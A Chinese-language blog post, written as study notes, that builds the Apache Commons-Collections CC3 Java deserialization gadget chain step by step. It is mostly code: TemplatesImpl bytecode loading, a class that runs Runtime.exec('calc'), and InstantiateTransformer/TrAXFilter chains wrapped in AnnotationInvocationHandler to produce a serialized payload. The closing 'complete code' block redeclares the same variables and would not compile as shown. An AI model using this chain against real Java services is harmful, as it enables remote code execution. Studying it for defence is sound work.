cc3

CC3

CC3 链同之前我们讲的 CC1 链与 CC6 链的区别之处是非常大的。原本的 CC1 链与 CC6 链是通过 Runtime.exec() 进行命令执行的。而很多时候服务器的代码当中的黑名单会选择禁用 Runtime。

而 CC3 链这里呢,则是通过动态加载类加载机制来实现自动执行恶意类代码的。

原理

ClassLoader.loadClass()-->ClassLoader.findClass()-->ClassLoader.defineClass()首先是 loadClass(),它的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass(),根据名称或位置加载 .class 字节码,然后使用 defineClass()。defineClass() 的作用是处理前面传入的字节码,将其处理成真正的 Java 类

第一步

在TemplatesImpl里面找到defineclass

目标是找到他的类型为public,然后find usage,发现在他自己的函数defineTransletClasses()下面,然后我们继续find usage,,然后我们找到getTransletInstance(),然后接着find usage,最后找到了public synchronized Transformer newTransformer()是public,完成。

部分源码

defineClass

Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }

defineTransletClasses

private void defineTransletClasses(){ for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }}

getTransletInstance

private Translet getTransletInstance(){ if (_class == null) defineTransletClasses();}

newTransformer

public synchronized Transformer newTransformer(){ transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);}

第二步

赋值

我们得完成一些参数的赋值让他不会报错且能进入下一个函数

1._name

getTransletInstance()中的if (_name == null) return null;若不赋值就会return null

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");

2._bytecodes

defineTransletClasses()中的if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); }
若不赋值就会报错

bytecodes是一个byte[][]类型的,然后我们去看调用它的地方

         for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

他的作用就是不断的循环调用,然后我们只传一个,那么我们可以

    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);

C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class这个地址使我们代码执行的地方

3._tfactory

defineTransletClasses()中的 public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); }
若不赋值就会报错

我们看到他是一个transient,我们去看readobject给他赋值的地方

 private void  readObject(ObjectInputStream is){_tfactory = new TransformerFactoryImpl();}

那我们就是new TransformerFactoryImpl()就可以试试看会怎么样

    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

最后总代码

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");

    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);


    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());


    templates.newTransformer();

报错

Exception in thread "main" java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:422)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.kuang.CC3.main(CC3.java:40)

空指针错误

第三步

去defineTransletClasses第一步调试一下,调试发现

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }

_auxClasses这个参数为空,有两种方法可以解决进入 if (superClass.getName().equals(ABSTRACT_TRANSLET)),或者给_auxClasses赋值,但是我们发现后面_transletIndex < 0就会报错,所以我们就进行第一步,因为进入if就会给_transletIndex赋值。

OK,我们看怎么满足这个条件,_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();superClass.getName().equals(ABSTRACT_TRANSLET)就是让_bytecodes加载的代码的父类是ABSTRACT_TRANSLET

public class Test  extends  AbstractTranslet{
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("calc");

 }

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

解释上面功能

因为我们要继承他,然后发现他是个抽象类,抽象方法都要实现

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

然后编译一下,放到执行代码的地方

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");

    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);


    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());


    templates.newTransformer();

第四步

templates.newTransformer();和cc1结合ChainedTransformer

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

    Transformer[] transformers = {
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer",null,null),
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(1);

解释里面的代码

ConstantTransformer

 public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
public Object transform(Object input) {
    return iConstant;
}

就是传进去constantToReturn,然后把他传个iConstant,然后他调用transform时不论传进去什么他就是返回iConstant

ChainedTransformer

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

先是构造器穿进去一个数组 transformers,然后赋值给iTransformers,如果调用transform的话就拿上一个的transform里面的值单做下一个的object

综合上面的描述

就是第一个ConstantTransformer(templates)被调入ChainedTransformertransform,到object = iTransformers[i].transform(object);这一行等于object = new ConstantTransformer(templates).transform(object);最后会使得object = templates ,然后不断下去不过你得调用chainedTransformer.transform(1),才能开始。

第五步

与cc1结合,替换chainedTransformer.transform(1)

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

    Transformer[] transformers = {
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer",null,null),
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");

进阶番外片

因为invoketransform会被ban掉所以我们又有了衍生

我们去找谁调用了newInstance(),找到了在TrAXFilter

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

但是他是不能序列化的,所以我们去找一个构造函数给他赋值,找到InstantiateTransformer

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
    super();
    iParamTypes = paramTypes;
    iArgs = args;
}
public Object transform(Object input){
Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

}

构造下面的替换掉invoketransform,用下面的代码

    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    instantiateTransformer.transform(TrAXFilter.class);

完整代码

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    instantiateTransformer.transform(TrAXFilter.class);

我们把最后一个transform用cc1的替换掉

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,instantiateTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");

但是上面这个会报错是因为Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,instantiateTransformer);这一步,因为别忘记cc1最后一步readobject的那个setvalue传参是不可控的,所以需要引入Transformer ChainedTransformer加以辅助。

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

完成!!

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");

完整代码

public class CC3 {
public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    templates.newTransformer();//第一步


    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

    Transformer[] transformers = {
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer",null,null),
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(1);//第二步





    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

    Transformer[] transformers = {
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer",null,null),
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");//第三步



    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    instantiateTransformer.transform(TrAXFilter.class);//第四步

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,instantiateTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");//第五步



    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value","value");
    Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
    serialize(o);
    unserialize("ser.bin");//第六步






}
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);

}

public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
    Object obj = ois.readObject();
    ois.close();
    return obj;
}

}

posted @ 2024-07-23 00:54  毛利_小五郎  阅读(1)  评论(0编辑  收藏  举报